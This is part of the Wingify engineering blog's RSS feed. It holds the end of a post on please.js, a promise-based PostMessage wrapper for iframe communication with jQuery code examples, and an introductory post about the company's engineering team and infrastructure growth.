class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; element &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; parent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;VWO&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Element&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;create&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;elementSelectorPath&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; parent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;VWO&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ContextMenu&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;showForElement&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;element&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;While, it might seem like a trivial problem to solve on the cover, deep underneath, we were faced with a race condition. The &lt;code class=&quot;language-text&quot;&gt;Element.create&lt;/code&gt; method asked the child frame to add a class to that element, and the &lt;code class=&quot;language-text&quot;&gt;ContextMenu.showForElement&lt;/code&gt; expected the class to have been applied by the time it was executed.&lt;/p&gt; &lt;h2 id=&quot;the-solution&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-solution&quot; aria-label=&quot;the solution permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Solution&lt;/h2&gt; &lt;p&gt;We concluded that refactoring the code to adapt to the asynchrony would be one hell of a task and we had to find another way. We decided to write a wrapper around the PostMessage API to solve the above three problems. We called it &lt;code class=&quot;language-text&quot;&gt;please.js&lt;/code&gt;. We are currently giving it some finishing touches before we push it out to the community. Here&apos;s how we did it:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;We decided to build this library on top of jQuery Deferred API. While deferred objects and promises don&apos;t exactly eliminate the asynchrony, they somehow bridge the gap between the two, making asynchronous code feel more linear and flattened. So, using that base, any piece of code that expected code prior to it to have been executed fully, could now be made possible without giving a lot of thought. In the above example, the transition to &lt;code class=&quot;language-text&quot;&gt;please.js&lt;/code&gt; looked like this:&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;elementSelectorPath&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;please&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;parent&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;VWO.Element.create&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; elementSelectorPath&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;element&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;please&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;parent&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;VWO.ContextMenu.showForElement&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; element&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Although this seems hackish at the first glance, it was a way to rapidly iterate over synchronous code and convert it to use promises and callbacks without giving much thought on the logic.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;To establish a good two-way communication, we thought of thinking of each communication as a pair of messages: a request and a response. Under the hood, we identified each message using a timestamp it was initiated on, and created a request object with that identifier. We then send the request to the other frame, whilst storing it in the current frame in a hashmap. The other frame would then receive the request, perform an appropriate action and send back a response. After a response is received, the request would be deleted from the hashmap. To make things easier for us, we created a set of functions to make certain frequent tasks easier. For instance, getting / setting a property and calling a function were the most common tasks we performed. The code for these tasks now looked like this:&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt; &lt;span class=&quot;token function&quot;&gt;please&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;parent&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;window.location&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// use location here&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;please&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;parent&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;foo&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;bar&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// do something here&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// reload the child window.&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; childWindow &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;iframe#child&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;contentWindow&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;please&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;childWindow&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;window.location.reload&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;A paradigm shift, yet the logic remained unaffected. Exactly what we wanted.&lt;/p&gt; &lt;ul&gt; &lt;li&gt;The last task was a big one. We had a lot of code in the parent frame directly accessing the child frame&apos;s DOM. While this is not advocated as a good practice, such problems are often faced when building upon and improving legacy code. With PostMessage, you can no longer access the child&apos;s DOM in any way. But we came up with a smart solution. We know that jQuery is a wrapper around the traditional DOM. We created a PostMessage wrapper around jQuery itself! Which makes impossible turn possible:&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt; &lt;span class=&quot;token comment&quot;&gt;// set #bar&apos;s height in child = foo&apos;s height in child&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; pls &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;please&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;iframe#child&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;contentWindow&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; pls&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;div#foo&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;fooHeight&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; pls&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;div#bar&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;fooHeight&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// DOM elements are returned back as please.UnserializableObject&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// which can then be passed back to please.$ to do more stuff&lt;/span&gt; pls&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&amp;lt;div&gt;hello world&amp;lt;/div&gt;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;newDiv&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; pls&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;newDiv&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;appendTo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;body&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;This was something that I thought of during one of the &lt;a href=&quot;http://team.wingify.com/friday-engineering-talks-at-wingify&quot;&gt;hackathons&lt;/a&gt; we host at Wingify. Turned out to be very fruitful!&lt;/p&gt; &lt;h2 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h2&gt; &lt;p&gt;In my personal opinion, I believe using promises for such a large transition has greatly impacted the way I think about frontend web development. It is a way forward for rapid asynchronous development, and yet having a flattened synchronous-like code structure.&lt;/p&gt; &lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;please.js&lt;/code&gt; will be opensourced soon, so keep an eye out on the blog for updates!&lt;/p&gt;</content:encoded><author>Himanshu Kapoor</author></item><item><title><![CDATA[Introduction: Engineering @ Wingify]]></title><description><![CDATA[I clearly remember the summer of 2010 when we were about to launch our product Visual Website Optimizer out of beta and almost all the…]]></description><link>https://engineering.wingify.com//posts/introduction/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/introduction/</guid><pubDate>Wed, 22 May 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I clearly remember the summer of 2010 when we were about to launch our product &lt;a href=&quot;http://visualwebsiteoptimizer.com&quot;&gt;Visual Website Optimizer&lt;/a&gt; out of beta and almost all the conversations I and &lt;a href=&quot;http://twitter.com/paraschopra&quot;&gt;Paras&lt;/a&gt; had were either around acquiring our initial customers or about the ever increasing load on our single &lt;a href=&quot;http://linode.com&quot;&gt;Linode&lt;/a&gt; 512MB VPS. Three years down, we still end up discussing about the same things but at a completely different magnitude. The customer base has increased to 2600+ accounts across 75+ countries and our &lt;a href=&quot;http://visualwebsiteoptimizer.com/split-testing-blog/geo-distributed-architecture/&quot;&gt;geo distributed architecture&lt;/a&gt; on a set of 30+ servers currently serve close to 8,000 requests per second.&lt;/p&gt; &lt;p&gt;In this amazing journey what we also managed to do is try our hands on a bunch of different technologies, tools and libraries. Many a times, the available stuff didn&apos;t fit our scaling needs and we had to craft our own versions. With the medium of this blog (which was long due), my team will try to talk about all the learning we keep having in our day-to-day engineering work at &lt;a href=&quot;http://wingify.com&quot;&gt;Wingify&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;In the next few posts, we will walk though the evolution in our architecture (from standard LAMP to a delicately configured &lt;a href=&quot;http://openresty.org&quot;&gt;openresty&lt;/a&gt; CDN &amp;#x26; DA (Content distribution &amp;#x26; data acquisition network) environment; from a single data center stack to a distributed system across the globe), code rewrites / refactors we had to do, various benchmarks we relied on and of course all the learning we had from this exercise. We will showcase and write about the small / big tools and libraries we wrote to scratch our own itch.&lt;/p&gt; &lt;p&gt;If you ever have any question, suggestion, feedback or you want to discuss anything or just want to drop a hello; I would love to hear from you. Please feel free to get in touch with me &lt;a href=&quot;mailto:sparsh@wingify.com&quot;&gt;sparsh@wingify.com&lt;/a&gt; or with our engineering team &lt;a href=&quot;mailto:%0Aengineering@wingify.com&quot;&gt;engineering@wingify.com&lt;/a&gt; directly or via comments section in this blog.&lt;/p&gt; &lt;p&gt;Hope to see you again soon when we post our first engineering article on this blog. Please &lt;a href=&quot;/atom.xml&quot;&gt;subscribe&lt;/a&gt; the blog to stay updated. We&apos;re out to change the way software is written, so come along and &lt;a href=&quot;http://visualwebsiteoptimizer.com/careers.php&quot;&gt;share our journey&lt;/a&gt;!&lt;/p&gt; &lt;p&gt;-- Engineering @ &lt;a href=&quot;http://wingify.com&quot;&gt;Wingify&lt;/a&gt;&lt;/p&gt;</content:encoded><author>Sparsh Gupta</author></item></channel></rss>